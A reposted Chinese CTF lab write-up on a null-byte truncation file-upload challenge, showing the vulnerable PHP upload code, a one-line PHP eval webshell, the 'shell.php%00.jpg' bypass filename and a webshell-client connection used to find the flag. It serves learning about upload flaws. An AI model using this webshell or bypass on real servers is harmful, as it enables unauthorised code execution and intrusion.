CTFHub | 00截断

news/2024/5/8 16:24:46/文章来源:https://blog.csdn.net/m0_51191308/article/details/130031940

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

00截断:

        php 版本 <5.3.4 ,5.3.4 以上版本已修复该漏洞。

网页显示内容

        

        

0x02 解题过程

分析网页源代码可以看到,这段代码检查是否有提交的文件,如果用户点击了 Submit 按钮,那么将获取到上传的文件名,将用户上传的文件名与白名单中的文件(jpg、png、gif)进行比较,并生一个相同扩展名的随机文件名称。

<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>CTFHub 文件上传 - 00截断</title>
</head><body><h1>CTFHub 文件上传 - 00截断</h1><form action=?road=/var/www/html/upload/ method="post" enctype="multipart/form-data"><label for="file">Filename:</label><input type="file" name="file" id="file" /><br /><input type="submit" name="submit" value="Submit" /></form>
<!--
if (!empty($_POST['submit'])) {$name = basename($_FILES['file']['name']);$info = pathinfo($name);$ext = $info['extension'];$whitelist = array("jpg", "png", "gif");if (in_array($ext, $whitelist)) {$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {echo "<script>alert('上传成功')</script>";} else {echo "<script>alert('上传失败')</script>";}} else {echo "文件类型不匹配";}
}
-->
</body></html>

        

先写一个payload文件用于文件上传

<?php @eval($_POST['CTFhub']);?>

        

上传编写好的payload文件,并打开Burpsuite软件进行抓包

        

修改抓取到的数据并发送给重放器

shell.php%00.jpg

        

使用重放器执行攻击,在响应栏中可以看到网页返回200,说明文件上传成功 

        

使用蚁剑进行连接并测试连通性,可以正常连接 

        

查找网页目录中的文件,发现此题flag

        

        

0x03 00截断

Q:什么是00截断?

        

A:信息安全中, 00截断 是针对 Web 应用程序的攻击技术。其英文名称 Null Byte 空字节,也称为空字节注入。攻击者在 URL 或文件名中插入一个空字节(ASCII码为00),用来截断文件扩展名或路径信息,达到绕过一些安全机制的目的。这种攻击方式通常是程序员开发过程中没有对输入数据进行过滤和验证。攻击者可以利用这种漏洞来执行恶意代码、窃取敏感信息等。

        

示例:

这里会访问到 shell.png 文件夹中

http://xxx.ctfhub.com:10800/?filename=shell.png    //?filename 查询文件路径

        

这里会访问到 shell.php 文件夹中

http://xxx.ctfhub.com:10800/?filename=shell.php%00shell.png

        

        

0x04 参考文献

[1].0yst3r. CTFHub题解-技能树-Web-Web工具配置-文件上传[EB/OL]. [2023-04-08]. https://www.cnblogs.com/0yst3r-2046/p/12530316.html.

        

        

0x05 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_283706.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IDEA修改主题 设置背景图片

IDEA修改主题 设置背景图片 目录IDEA修改主题 设置背景图片1.修改IDEA默认主题2.修改IDEA背景图片2.1 打开设置界面2.2 下载插件很多小白在刚刚使用IDEA的时候还不是很熟练本文主要给大家提供一些使用的小技巧&#xff0c;希望能帮助到你1.修改IDEA默认主题 IDEA的默认主题是黑…

Jmeter 工具测试 websocket

WebSocket 是一种基于在单个 TCP 连接上进行全双工通信的协议&#xff0c;是从HTML5开始提供的一种浏览器与服务器之间进行全双工通讯的网络技术。相较于 HTTP 协议&#xff0c;WebSocket 协议实现了持久化网络通信&#xff0c;可以实现客户端和服务端的长连接&#xff0c;能够…

对Javascript中作用域的理解?

一、作用域 作用域&#xff0c;即变量&#xff08;变量作用域又称上下文&#xff09;和函数生效&#xff08;能被访问&#xff09;的区域或集合 换句话说&#xff0c;作用域决定了代码区块中变量和其他资源的可见性 举个例子 function myFunction() {let inVariable "…

C/C++中文参考手册离线最新版

最近又用回C/C刷题&#xff0c;回想上一年还在用Java&#xff0c;C/C才是世界上最好的语言&#xff08;纯属调侃&#xff09;。哼哼&#xff0c;不许反驳。 想分享我正在使用的C/C中文参考手册离线最新版给大家&#xff0c;需要的朋友们可以自行下载&#xff08;free的哦&#…

造型别致的耳夹式耳机,听出新色彩,塞那Z50上手

蓝牙耳机这几年发展很快&#xff0c;市面上的选择特别丰富&#xff0c;其中还有不少设计、音质都特别出彩的产品&#xff0c;像是我最近在用的这款sanag塞那Z50&#xff0c;就采用了一种很新颖的设计&#xff0c;带来了更加舒适的佩戴体验&#xff0c;而且音质表现也很出色。 s…

Redis 如何使用 Sentinel 构建主从复制的高可用架构?

文章目录Redis 如何使用 Sentinel 构建主从复制的高可用架构&#xff1f;什么是 Sentinel 服务&#xff1f;如何配置 Sentinel 集群服务&#xff1f;启动 Sentinel 服务配置说明测试主节点失效查看 Sentinel 主节点服务状态查看 Sentinel 从节点服务状态模拟主节点失效观察各个…

Unity实战篇 | 使Unity打包的exe程序始终保持屏幕最前端【文末送书】

&#x1f3ac; 博客主页&#xff1a;https://xiaoy.blog.csdn.net &#x1f3a5; 本文由 呆呆敲代码的小Y 原创&#xff0c;首发于 CSDN&#x1f649; &#x1f384; 学习专栏推荐&#xff1a;Unity系统学习专栏 &#x1f332; 游戏制作专栏推荐&#xff1a;游戏制作 &…

Winform控件开发(28)——ToolTip(史上最全)

前言: 该控件的作用是在鼠标移动到控件上方时,弹出一个提示框,效果如下: 利用方法SetToolTip将工具提示和控件绑定 toolTip1.SetToolTip(button1 ,"提示1");一、属性 1、Name 获取控件对象 2、Active 为true时,工具提示才有效 3、AutomaticDelay 设置该…

第一章:part1监督学习:回归

线性回归&#xff08;linear regression model&#xff09; 线性回归模型 回归&#xff1a;可以预测数字作为输出 是一种特殊的监督学习模型 例&#xff1a;通过已知的房价来拟合曲线 可以求得英尺的价格 区别回归与分类&#xff1a;分类的输出结果一般为离散的&#xff0c;并…

Python第二章---列表简介

1、列表是什么&#xff1f; 在Python中用 [ ] 表示列表&#xff0c;用 逗号 , 分隔元素 每个元素用对应类型的方法标注&#xff0c;如字符串类型用单引号‘ ’标注 形如 list1 [a,b,c] print(list1); 输出时&#xff0c;会打印全部内容&#xff0c;包括符号 访问列表元…

Linux系统操作命令

1.linux目录结构 不同于 Windows 系统的⽂件路径的起点是盘符, Linux 系统的路径起点是/(根⽬录) 注意: - 1. / 为根⽬录, 是所有⽂件的路径的起点 - 2. 根⽬录下的所有第⼀层级的⽂件夹, 均不能随意进⾏修改操作 - 3. 掌握常⽤⽬录的作⽤即可 - 4. / 根⽬录, /home 普通⽤户…

AI助手帮你轻松做好Imagenet数据集重命名与复制

AI助手帮你轻松做好Imagenet数据集重命名与复制 任务需求 我们对Imagenet数据集进行了水下的退化处理&#xff0c;保存的数据集所有图片的深度图&#xff0c;格式为.npy。但是命名存在一些问题&#xff0c;现有格式为&#xff1a;n02009912_1916.JPEG.npy&#xff0c;需要更改…

哪个网站的电子书最多?

程序员宝藏库&#xff1a;https://gitee.com/sharetech_lee/CS-Books-Store 随便找一个电子书导航&#xff0c;就会给你提供几十个电子书下载网站。 然而&#xff0c;当真正用到时会发现&#xff0c;质量层次不齐&#xff0c;在绝大多数时候试遍几十个网站都找不到自己想要的书…

【蓝桥杯算法模板题--蓝桥题库Java】

PDF下载地址&#xff1a;点击即可 文章目录算法模板1 排序&#xff08;ArrayList&#xff0c;sort&#xff09;题目描述输入描述输出描述输入输出样例示例 1运行限制2 小明的彩灯&#xff08;差分&#xff09;输入输出样例示例 1运行限制3 绝世武功&#xff08;二阶差分算法&am…

「STM32入门」TIM输出比较

输出比较的简介 输出比较英文写作OC (Output Compare) 输出比较可以通过比较CNT和CCR寄存器值的关系&#xff0c;来对输出电平进行置高或者置低或者翻转的操作&#xff0c;用于输出一定频率和占空比的PWM波形常见应用例子如&#xff1a;呼吸灯&#xff0c;调速电机等CCR&#x…

2023年第十四届蓝桥杯javaB组省赛真题

&#x1f468;‍&#x1f4bb;作者简介&#xff1a;练习时长两年半的java博主 &#x1f4d6;个人主页&#xff1a;君临๑ &#x1f39e;️文章介绍&#xff1a;2023年第十四届蓝桥杯javaB组省赛真题 &#x1f389;所属专栏&#xff1a;算法专栏 &#x1f381; ps&#xff1a;点…

计算机网络复习——第二章 2.3

2.3物理层下面的传输媒体 传输媒体是数据传输系统中在发送器和接收器之间的物理通路。 两大类&#xff1a; 导引型传输媒体&#xff1a;电磁波被导引沿着固体媒体&#xff08;铜线或光纤&#xff09;传播。 非导引型传输媒体&#xff1a;指自由空间。非导引型传输媒体中电磁…

IDEA修改关键字和注释颜色

IDEA修改关键字和注释颜色 目录IDEA修改关键字和注释颜色1.修改关键字的默认颜色2.修改注释的默认颜色2.1 修改单行注释的颜色2.2 修改多行注释的颜色2.3 修改文档注释的颜色很多小白在刚刚使用IDEA的时候还不是很熟练 本文主要给大家提供一些使用的小技巧&#xff0c;希望能帮…

推荐系统:基础知识总结

itemCF的召回实践及其在信息流推荐中的应用1.1 推荐系统中的召回基本范式&#xff1f;1.2 为何要进行召回&#xff1f;1.3 召回传统方式有哪些&#xff1f;2. itemCF类召回2.1 从哪几个方向理解item CF2.2 通用建模方式还有哪些&#xff1f;3.ItemCF实践3.1 在信息流中如何抽取…

QT学习笔记(语音识别项目 )

语音识别项目 我们知道 AI 智能音箱已经在我们生活中不少见&#xff0c;也许我们都玩过&#xff0c;智能化非常高&#xff0c;功能 强大&#xff0c;与我们平常玩的那种蓝牙音箱&#xff0c;Wifi 音箱有很大的区别&#xff0c;AI 智能在哪里呢&#xff1f;语音识别技 术和云端…